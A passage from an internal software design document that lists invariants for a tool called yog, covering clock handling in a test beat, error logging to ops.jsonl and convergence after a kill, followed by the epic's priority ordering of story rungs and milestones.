  stronger statement the old "only `bl list --json` spawns" claim was reaching
  for. **The beat owns its own clock** (bl-9006): booted on the system clock it
  measured the gate's load instead of yog's behaviour, and a pass that ran long
  under nine concurrent tarpaulins wrote §7.2's `yog-drift late` line — a
  correct self-accusation (I7 as amended) read as a mutation, reddening inside
  an unrelated agent's close. Time now moves only **between** passes, where it
  means "the periodic sweeps fell due" and not "this pass was late"; each pass
  asserts that its full sweep really fell due, so the beat exercises §7.2's
  sweeps (five real-clock ticks never left the first cadence) instead of
  racing them. Lateness keeps its own beat, on the crate's lurching fake:
  `app::tests::worker`.
- **INV-2 no-swallowed-errors**: mechanized two ways — every dispatch-layer
  `Err` lands in `ops.jsonl` per the amended §4.2 (spawn failures included,
  non-spawn steps as `["yog-step",…]` rows), and `grep -r eprintln
  src/shell/` finds **zero** occurrences. *(bl-a649 closed the one error the
  dispatch layer never saw: a detached `lernie prompt` that launches cleanly and
  then dies has no `Err` to log — its stderr goes to a per-spawn sink file
  (§8.1/§13.3) which the ops sweep folds into the `-2` row, making the death a
  rendered failure instead of a prompt that "does nothing".)*
- **INV-3 convergence**: re-running any start plan after a mid-plan kill
  converges (§8.1 idempotent-or-convergent steps).

## Priority (this epic)

P0 = S0+S1 (the Codex bar), P1 = S2+S3, P2 = S4+S6 (the many-things regime:
you cannot organize a board you cannot triage), P3 = S5+S7+S8, P4 = S9 (phase
2, each beat gated on its own upstream, §16.7). S10+ are the VISION rungs,
graduating one at a time as their enabling verbs land — S10 (Historian),
S11 (Auditor), S12 (Counterfactualist), S13 (Admiral), S14 (Teleoperator),
S15 (Warden), S16 (Releaser), S17 (Warden, again) and S18 (Admiral, armed)
are here, and none of them needed a verb below yog: S12's fork is `lernie
dispatch --from`, shipped upstream and already pinned, and the rest needed no
verb at all. S13 and S14 each landed minus the armed-loop half they refused to
fake; S18 is that half, landed once its preconditions closed (bl-66fb) — and
armed by nobody, because arming is the operator's act. Implementation
rides §15 M6: Z2 (binding), Z3 (start rungs — `start::plan` is the one
planner, `prepare()` executes it), Z4 (verbs + hints), Z5 (error surfacing),
Z6 (capability gate — landed, then deleted at W13), Z7 (test fixture),
Z8 (login flow), Z9 (tabs +
conversation-first) — bl-tracked; ids recorded in §15 M6 as each is filed.
Z10–Z14 (the test map above) carry the S3–S8 story tests over surfaces that
are already built; S9's carriers are W8–W11.